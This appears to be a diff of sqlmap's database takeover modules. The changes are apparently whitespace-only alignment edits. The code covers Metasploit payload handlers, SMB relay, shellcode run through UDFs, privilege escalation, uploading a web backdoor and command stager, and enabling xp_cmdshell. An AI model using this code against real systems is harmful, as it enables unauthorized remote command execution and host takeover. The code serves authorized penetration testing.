message += "[2] Fall back to Meterpreter payload (default)\n"
|
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||||
message += "[3] Fall back to Shell payload"
|
message += "[3] Fall back to Shell payload"
|
||||||
|
@ -289,12 +289,12 @@ class Metasploit:
|
||||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||||
|
|
||||||
def __prepareIngredients(self, encode=True):
|
def __prepareIngredients(self, encode=True):
|
||||||
self.connectionStr = self.__selectConnection()
|
self.connectionStr = self.__selectConnection()
|
||||||
self.lhostStr = self.__selectLhost()
|
self.lhostStr = self.__selectLhost()
|
||||||
self.rhostStr = self.__selectRhost()
|
self.rhostStr = self.__selectRhost()
|
||||||
self.portStr = self.__selectPort()
|
self.portStr = self.__selectPort()
|
||||||
self.payloadStr = self.__selectPayload()
|
self.payloadStr = self.__selectPayload()
|
||||||
self.encoderStr = self.__selectEncoder(encode)
|
self.encoderStr = self.__selectEncoder(encode)
|
||||||
|
|
||||||
if self.payloadStr == "linux/x86/shell":
|
if self.payloadStr == "linux/x86/shell":
|
||||||
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
self.payloadConnStr = "%s_%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
@ -302,7 +302,7 @@ class Metasploit:
|
||||||
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||||
|
|
||||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||||
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
self.__cliCmd = "%s multi/handler PAYLOAD=%s" % (self.__msfCli, self.payloadConnStr)
|
||||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||||
#self.__cliCmd += " ExitOnSession=true"
|
#self.__cliCmd += " ExitOnSession=true"
|
||||||
|
@ -327,7 +327,7 @@ class Metasploit:
|
||||||
|
|
||||||
self.__prepareIngredients(encode=False)
|
self.__prepareIngredients(encode=False)
|
||||||
|
|
||||||
self.__resource = "use windows/smb/smb_relay\n"
|
self.__resource = "use windows/smb/smb_relay\n"
|
||||||
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
self.__resource += "set SRVHOST %s\n" % self.lhostStr
|
||||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||||
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
self.__resource += "set PAYLOAD %s\n" % self.payloadConnStr
|
||||||
|
@ -348,7 +348,7 @@ class Metasploit:
|
||||||
self.resourceFp.close()
|
self.resourceFp.close()
|
||||||
|
|
||||||
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
def __forgeMsfPayloadCmd(self, exitfunc, format, outFile, extra=None):
|
||||||
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
self.__payloadCmd = "%s %s" % (self.__msfPayload, self.payloadConnStr)
|
||||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||||
#self.__payloadCmd += " ExitOnSession=true"
|
#self.__payloadCmd += " ExitOnSession=true"
|
||||||
|
@ -370,7 +370,7 @@ class Metasploit:
|
||||||
def __runMsfCli(self, exitfunc):
|
def __runMsfCli(self, exitfunc):
|
||||||
self.__forgeMsfCliCmd(exitfunc)
|
self.__forgeMsfCliCmd(exitfunc)
|
||||||
|
|
||||||
infoMsg = "running Metasploit Framework 3 command line "
|
infoMsg = "running Metasploit Framework 3 command line "
|
||||||
infoMsg += "interface locally, please wait.."
|
infoMsg += "interface locally, please wait.."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -385,14 +385,14 @@ class Metasploit:
|
||||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
|
||||||
|
|
||||||
def __runMsfShellcodeRemote(self):
|
def __runMsfShellcodeRemote(self):
|
||||||
infoMsg = "running Metasploit Framework 3 shellcode "
|
infoMsg = "running Metasploit Framework 3 shellcode "
|
||||||
infoMsg += "remotely via UDF 'sys_bineval', please wait.."
|
infoMsg += "remotely via UDF 'sys_bineval', please wait.."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||||
|
|
||||||
def __runMsfShellcodeRemoteViaSexec(self):
|
def __runMsfShellcodeRemoteViaSexec(self):
|
||||||
infoMsg = "running Metasploit Framework 3 shellcode remotely "
|
infoMsg = "running Metasploit Framework 3 shellcode remotely "
|
||||||
infoMsg += "via shellcodeexec, please wait.."
|
infoMsg += "via shellcodeexec, please wait.."
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -421,14 +421,14 @@ class Metasploit:
|
||||||
if conf.privEsc:
|
if conf.privEsc:
|
||||||
print
|
print
|
||||||
|
|
||||||
infoMsg = "trying to escalate privileges using Meterpreter "
|
infoMsg = "trying to escalate privileges using Meterpreter "
|
||||||
infoMsg += "'getsystem' command which tries different "
|
infoMsg += "'getsystem' command which tries different "
|
||||||
infoMsg += "techniques, including kitrap0d"
|
infoMsg += "techniques, including kitrap0d"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
proc.stdin.write("getsystem\n")
|
proc.stdin.write("getsystem\n")
|
||||||
|
|
||||||
infoMsg = "displaying the list of Access Tokens availables. "
|
infoMsg = "displaying the list of Access Tokens availables. "
|
||||||
infoMsg += "Choose which user you want to impersonate by "
|
infoMsg += "Choose which user you want to impersonate by "
|
||||||
infoMsg += "using incognito's command 'impersonate_token' if "
|
infoMsg += "using incognito's command 'impersonate_token' if "
|
||||||
infoMsg += "'getsystem' does not success to elevate privileges"
|
infoMsg += "'getsystem' does not success to elevate privileges"
|
||||||
|
@ -469,7 +469,7 @@ class Metasploit:
|
||||||
blockingWriteToFD(sys.stdout.fileno(), out)
|
blockingWriteToFD(sys.stdout.fileno(), out)
|
||||||
|
|
||||||
# For --os-pwn and --os-bof
|
# For --os-pwn and --os-bof
|
||||||
pwnBofCond = self.connectionStr.startswith("reverse")
|
pwnBofCond = self.connectionStr.startswith("reverse")
|
||||||
pwnBofCond &= "Starting the payload handler" in out
|
pwnBofCond &= "Starting the payload handler" in out
|
||||||
|
|
||||||
# For --os-smbrelay
|
# For --os-smbrelay
|
||||||
|
@ -574,7 +574,7 @@ class Metasploit:
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
func()
|
func()
|
||||||
|
|
||||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, func)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -596,7 +596,7 @@ class Metasploit:
|
||||||
|
|
||||||
self.__runMsfConsole()
|
self.__runMsfConsole()
|
||||||
|
|
||||||
debugMsg = "Metasploit Framework 3 console exited with return "
|
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||||
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
|
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -608,6 +608,6 @@ class Metasploit:
|
||||||
if self.connectionStr.startswith("bind"):
|
if self.connectionStr.startswith("bind"):
|
||||||
self.spHeapOverflow()
|
self.spHeapOverflow()
|
||||||
|
|
||||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
|
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
|
@ -19,14 +19,14 @@ class Registry:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
def __initVars(self, regKey, regValue, regType=None, regData=None, parse=False):
|
||||||
self.__regKey = regKey
|
self.__regKey = regKey
|
||||||
self.__regValue = regValue
|
self.__regValue = regValue
|
||||||
self.__regType = regType
|
self.__regType = regType
|
||||||
self.__regData = regData
|
self.__regData = regData
|
||||||
|
|
||||||
self.__randStr = randomStr(lowercase=True)
|
self.__randStr = randomStr(lowercase=True)
|
||||||
self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr)
|
self.__batPathRemote = "%s/tmpr%s.bat" % (conf.tmpPath, self.__randStr)
|
||||||
self.__batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr)
|
self.__batPathLocal = os.path.join(conf.outputPath, "tmpr%s.bat" % self.__randStr)
|
||||||
|
|
||||||
if parse:
|
if parse:
|
||||||
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
readParse = "FOR /F \"tokens=*\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regValue + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||||
|
@ -38,12 +38,12 @@ class Registry:
|
||||||
readParse
|
readParse
|
||||||
)
|
)
|
||||||
|
|
||||||
self.__batAdd = (
|
self.__batAdd = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regValue, self.__regType, self.__regData)
|
||||||
)
|
)
|
||||||
|
|
||||||
self.__batDel = (
|
self.__batDel = (
|
||||||
"@ECHO OFF\r\n",
|
"@ECHO OFF\r\n",
|
||||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regValue)
|
||||||
)
|
)
|
||||||
|
@ -97,7 +97,7 @@ class Registry:
|
||||||
self.__initVars(regKey, regValue, regType, regData)
|
self.__initVars(regKey, regValue, regType, regData)
|
||||||
self.__createRemoteBatchFile()
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
debugMsg = "adding registry key value '%s' " % self.__regValue
|
debugMsg = "adding registry key value '%s' " % self.__regValue
|
||||||
debugMsg += "to registry key '%s'" % self.__regKey
|
debugMsg += "to registry key '%s'" % self.__regKey
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
@ -110,7 +110,7 @@ class Registry:
|
||||||
self.__initVars(regKey, regValue)
|
self.__initVars(regKey, regValue)
|
||||||
self.__createRemoteBatchFile()
|
self.__createRemoteBatchFile()
|
||||||
|
|
||||||
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
debugMsg = "deleting registry key value '%s' " % self.__regValue
|
||||||
debugMsg += "from registry key '%s'" % self.__regKey
|
debugMsg += "from registry key '%s'" % self.__regKey
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
|
|
@ -35,14 +35,14 @@ class UDF:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.createdUdf = set()
|
self.createdUdf = set()
|
||||||
self.udfs = {}
|
self.udfs = {}
|
||||||
self.udfToCreate = set()
|
self.udfToCreate = set()
|
||||||
|
|
||||||
def __askOverwriteUdf(self, udf):
|
def __askOverwriteUdf(self, udf):
|
||||||
message = "UDF '%s' already exists, do you " % udf
|
message = "UDF '%s' already exists, do you " % udf
|
||||||
message += "want to overwrite it? [y/N] "
|
message += "want to overwrite it? [y/N] "
|
||||||
output = readInput(message, default="N")
|
output = readInput(message, default="N")
|
||||||
|
|
||||||
if output and output[0] in ("y", "Y"):
|
if output and output[0] in ("y", "Y"):
|
||||||
return True
|
return True
|
||||||
|
@ -61,7 +61,7 @@ class UDF:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def udfCheckAndOverwrite(self, udf):
|
def udfCheckAndOverwrite(self, udf):
|
||||||
exists = self.__checkExistUdf(udf)
|
exists = self.__checkExistUdf(udf)
|
||||||
overwrite = True
|
overwrite = True
|
||||||
|
|
||||||
if exists:
|
if exists:
|
||||||
|
@ -78,7 +78,7 @@ class UDF:
|
||||||
|
|
||||||
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
def udfExecCmd(self, cmd, silent=False, udfName=None):
|
||||||
if udfName is None:
|
if udfName is None:
|
||||||
cmd = "'%s'" % cmd
|
cmd = "'%s'" % cmd
|
||||||
udfName = "sys_exec"
|
udfName = "sys_exec"
|
||||||
|
|
||||||
cmd = unescaper.unescape(cmd)
|
cmd = unescaper.unescape(cmd)
|
||||||
|
@ -87,7 +87,7 @@ class UDF:
|
||||||
|
|
||||||
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
|
||||||
if udfName is None:
|
if udfName is None:
|
||||||
cmd = "'%s'" % cmd
|
cmd = "'%s'" % cmd
|
||||||
udfName = "sys_eval"
|
udfName = "sys_eval"
|
||||||
|
|
||||||
cmd = unescaper.unescape(cmd)
|
cmd = unescaper.unescape(cmd)
|
||||||
|
@ -167,7 +167,7 @@ class UDF:
|
||||||
self.checkDbmsOs()
|
self.checkDbmsOs()
|
||||||
|
|
||||||
if not self.isDba():
|
if not self.isDba():
|
||||||
warnMsg = "the functionality requested might not work because "
|
warnMsg = "the functionality requested might not work because "
|
||||||
warnMsg += "the session user is not a database administrator"
|
warnMsg += "the session user is not a database administrator"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
@ -193,19 +193,19 @@ class UDF:
|
||||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
|
elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
|
||||||
errMsg = "you provided a shared object as shared library, but "
|
errMsg = "you provided a shared object as shared library, but "
|
||||||
errMsg += "the database underlying operating system is Windows"
|
errMsg += "the database underlying operating system is Windows"
|
||||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
|
elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
|
||||||
errMsg = "you provided a dynamic-link library as shared library, "
|
errMsg = "you provided a dynamic-link library as shared library, "
|
||||||
errMsg += "but the database underlying operating system is Linux"
|
errMsg += "but the database underlying operating system is Linux"
|
||||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
|
||||||
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]
|
||||||
|
|
||||||
msg = "how many user-defined functions do you want to create "
|
msg = "how many user-defined functions do you want to create "
|
||||||
msg += "from the shared library? "
|
msg += "from the shared library? "
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
@ -228,7 +228,7 @@ class UDF:
|
||||||
|
|
||||||
for x in range(0, udfCount):
|
for x in range(0, udfCount):
|
||||||
while True:
|
while True:
|
||||||
msg = "what is the name of the UDF number %d? " % (x + 1)
|
msg = "what is the name of the UDF number %d? " % (x + 1)
|
||||||
udfName = readInput(msg)
|
udfName = readInput(msg)
|
||||||
|
|
||||||
if udfName:
|
if udfName:
|
||||||
|
@ -245,8 +245,8 @@ class UDF:
|
||||||
self.udfs[udfName]["input"] = []
|
self.udfs[udfName]["input"] = []
|
||||||
|
|
||||||
default = 1
|
default = 1
|
||||||
msg = "how many input parameters takes UDF "
|
msg = "how many input parameters takes UDF "
|
||||||
msg += "'%s'? (default: %d) " % (udfName, default)
|
msg += "'%s'? (default: %d) " % (udfName, default)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
parCount = readInput(msg, default=default)
|
parCount = readInput(msg, default=default)
|
||||||
|
@ -262,8 +262,8 @@ class UDF:
|
||||||
logger.warn("invalid value, only digits >= 0 are allowed")
|
logger.warn("invalid value, only digits >= 0 are allowed")
|
||||||
|
|
||||||
for y in range(0, parCount):
|
for y in range(0, parCount):
|
||||||
msg = "what is the data-type of input parameter "
|
msg = "what is the data-type of input parameter "
|
||||||
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
msg += "number %d? (default: %s) " % ((y + 1), defaultType)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
parType = readInput(msg, default=defaultType)
|
parType = readInput(msg, default=defaultType)
|
||||||
|
@ -275,7 +275,7 @@ class UDF:
|
||||||
self.udfs[udfName]["input"].append(parType)
|
self.udfs[udfName]["input"].append(parType)
|
||||||
break
|
break
|
||||||
|
|
||||||
msg = "what is the data-type of the return "
|
msg = "what is the data-type of the return "
|
||||||
msg += "value? (default: %s) " % defaultType
|
msg += "value? (default: %s) " % defaultType
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
@ -289,8 +289,8 @@ class UDF:
|
||||||
|
|
||||||
self.udfInjectCore(self.udfs)
|
self.udfInjectCore(self.udfs)
|
||||||
|
|
||||||
msg = "do you want to call your injected user-defined "
|
msg = "do you want to call your injected user-defined "
|
||||||
msg += "functions now? [Y/n/q] "
|
msg += "functions now? [Y/n/q] "
|
||||||
choice = readInput(msg, default="Y")
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
if choice[0] in ( "n", "N" ):
|
if choice[0] in ( "n", "N" ):
|
||||||
|
@ -302,7 +302,7 @@ class UDF:
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
udfList = []
|
udfList = []
|
||||||
msg = "which UDF do you want to call?"
|
msg = "which UDF do you want to call?"
|
||||||
|
|
||||||
for udf in self.udfs.keys():
|
for udf in self.udfs.keys():
|
||||||
udfList.append(udf)
|
udfList.append(udf)
|
||||||
|
@ -321,16 +321,16 @@ class UDF:
|
||||||
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
elif isinstance(choice, int) and choice > 0 and choice <= len(udfList):
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
warnMsg = "invalid value, only digits >= 1 and "
|
warnMsg = "invalid value, only digits >= 1 and "
|
||||||
warnMsg += "<= %d are allowed" % len(udfList)
|
warnMsg += "<= %d are allowed" % len(udfList)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
cmd = ""
|
cmd = ""
|
||||||
count = 1
|
count = 1
|
||||||
udfToCall = udfList[choice - 1]
|
udfToCall = udfList[choice - 1]
|
||||||
|
|
||||||
for inp in self.udfs[udfToCall]["input"]:
|
for inp in self.udfs[udfToCall]["input"]:
|
||||||
msg = "what is the value of the parameter number "
|
msg = "what is the value of the parameter number "
|
||||||
msg += "%d (data-type: %s)? " % (count, inp)
|
msg += "%d (data-type: %s)? " % (count, inp)
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
|
@ -348,9 +348,9 @@ class UDF:
|
||||||
|
|
||||||
count += 1
|
count += 1
|
||||||
|
|
||||||
cmd = cmd[:-1]
|
cmd = cmd[:-1]
|
||||||
msg = "do you want to retrieve the return value of the "
|
msg = "do you want to retrieve the return value of the "
|
||||||
msg += "UDF? [Y/n] "
|
msg += "UDF? [Y/n] "
|
||||||
choice = readInput(msg, default="Y")
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
if choice[0] in ("y", "Y"):
|
if choice[0] in ("y", "Y"):
|
||||||
|
@ -363,7 +363,7 @@ class UDF:
|
||||||
else:
|
else:
|
||||||
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
self.udfExecCmd(cmd, udfName=udfToCall, silent=True)
|
||||||
|
|
||||||
msg = "do you want to call this or another injected UDF? [Y/n] "
|
msg = "do you want to call this or another injected UDF? [Y/n] "
|
||||||
choice = readInput(msg, default="Y")
|
choice = readInput(msg, default="Y")
|
||||||
|
|
||||||
if choice[0] not in ("y", "Y"):
|
if choice[0] not in ("y", "Y"):
|
||||||
|
|
|
@ -46,11 +46,11 @@ class Web:
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.webApi = None
|
self.webApi = None
|
||||||
self.webBaseUrl = None
|
self.webBaseUrl = None
|
||||||
self.webBackdoorUrl = None
|
self.webBackdoorUrl = None
|
||||||
self.webStagerUrl = None
|
self.webStagerUrl = None
|
||||||
self.webDirectory = None
|
self.webDirectory = None
|
||||||
|
|
||||||
def webBackdoorRunCmd(self, cmd):
|
def webBackdoorRunCmd(self, cmd):
|
||||||
if self.webBackdoorUrl is None:
|
if self.webBackdoorUrl is None:
|
||||||
|
@ -61,7 +61,7 @@ class Web:
|
||||||
if not cmd:
|
if not cmd:
|
||||||
cmd = conf.osCmd
|
cmd = conf.osCmd
|
||||||
|
|
||||||
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
|
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
|
||||||
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
|
page, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
|
||||||
|
|
||||||
if page is not None:
|
if page is not None:
|
||||||
|
@ -96,7 +96,7 @@ class Web:
|
||||||
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
||||||
|
|
||||||
if "File uploaded" not in page:
|
if "File uploaded" not in page:
|
||||||
warnMsg = "unable to upload the backdoor through "
|
warnMsg = "unable to upload the backdoor through "
|
||||||
warnMsg += "the file stager on '%s'" % directory
|
warnMsg += "the file stager on '%s'" % directory
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
return False
|
return False
|
||||||
|
@ -176,7 +176,7 @@ class Web:
|
||||||
self.webApi = choices[int(choice) - 1]
|
self.webApi = choices[int(choice) - 1]
|
||||||
break
|
break
|
||||||
|
|
||||||
kb.docRoot = getDocRoot()
|
kb.docRoot = getDocRoot()
|
||||||
directories = getDirs()
|
directories = getDirs()
|
||||||
directories = list(directories)
|
directories = list(directories)
|
||||||
directories.sort()
|
directories.sort()
|
||||||
|
@ -238,18 +238,18 @@ class Web:
|
||||||
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
||||||
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
|
self.webStagerUrl = "%s/%s" % (self.webBaseUrl.rstrip('/'), stagerName)
|
||||||
|
|
||||||
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
uplPage, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
||||||
|
|
||||||
if "sqlmap file uploader" not in uplPage:
|
if "sqlmap file uploader" not in uplPage:
|
||||||
if localPath not in warned:
|
if localPath not in warned:
|
||||||
warnMsg = "unable to upload the file stager "
|
warnMsg = "unable to upload the file stager "
|
||||||
warnMsg += "on '%s'" % localPath
|
warnMsg += "on '%s'" % localPath
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
warned.add(localPath)
|
warned.add(localPath)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
elif "<%" in uplPage or "<?" in uplPage:
|
elif "<%" in uplPage or "<?" in uplPage:
|
||||||
warnMsg = "file stager uploaded "
|
warnMsg = "file stager uploaded "
|
||||||
warnMsg += "on '%s' but not dynamically interpreted" % localPath
|
warnMsg += "on '%s' but not dynamically interpreted" % localPath
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
continue
|
continue
|
||||||
|
@ -258,7 +258,7 @@ class Web:
|
||||||
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
||||||
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
||||||
|
|
||||||
infoMsg = "the file stager has been successfully uploaded "
|
infoMsg = "the file stager has been successfully uploaded "
|
||||||
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
|
infoMsg += "on '%s' ('%s')" % (localPath, self.webStagerUrl)
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
@ -287,12 +287,12 @@ class Web:
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
|
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
|
||||||
warnMsg = "backdoor has not been successfully uploaded "
|
warnMsg = "backdoor has not been successfully uploaded "
|
||||||
warnMsg += "with file stager probably because of "
|
warnMsg += "with file stager probably because of "
|
||||||
warnMsg += "lack of write permission."
|
warnMsg += "lack of write permission."
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
message = "do you want to try the same method used "
|
message = "do you want to try the same method used "
|
||||||
message += "for the file stager? [y/N] "
|
message += "for the file stager? [y/N] "
|
||||||
getOutput = readInput(message, default="N")
|
getOutput = readInput(message, default="N")
|
||||||
|
|
||||||
|
@ -304,7 +304,7 @@ class Web:
|
||||||
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
||||||
self.webDirectory = localPath
|
self.webDirectory = localPath
|
||||||
|
|
||||||
infoMsg = "the backdoor has probably been successfully "
|
infoMsg = "the backdoor has probably been successfully "
|
||||||
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
|
infoMsg += "uploaded on '%s', go with your browser " % self.webDirectory
|
||||||
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
|
infoMsg += "to '%s' and enjoy it!" % self.webBackdoorUrl
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
|
@ -56,11 +56,11 @@ class xp_cmdshell:
|
||||||
inject.goStacked(cmd)
|
inject.goStacked(cmd)
|
||||||
|
|
||||||
def __xpCmdshellConfigure2005(self, mode):
|
def __xpCmdshellConfigure2005(self, mode):
|
||||||
debugMsg = "configuring xp_cmdshell using sp_configure "
|
debugMsg = "configuring xp_cmdshell using sp_configure "
|
||||||
debugMsg += "stored procedure"
|
debugMsg += "stored procedure"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
|
cmd = "EXEC master..sp_configure 'show advanced options', 1; "
|
||||||
cmd += "RECONFIGURE WITH OVERRIDE; "
|
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||||
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
|
cmd += "EXEC master..sp_configure 'xp_cmdshell', %d " % mode
|
||||||
cmd += "RECONFIGURE WITH OVERRIDE; "
|
cmd += "RECONFIGURE WITH OVERRIDE; "
|
||||||
|
@ -69,12 +69,12 @@ class xp_cmdshell:
|
||||||
return cmd
|
return cmd
|
||||||
|
|
||||||
def __xpCmdshellConfigure2000(self, mode):
|
def __xpCmdshellConfigure2000(self, mode):
|
||||||
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
debugMsg = "configuring xp_cmdshell using sp_addextendedproc "
|
||||||
debugMsg += "stored procedure"
|
debugMsg += "stored procedure"
|
||||||
logger.debug(debugMsg)
|
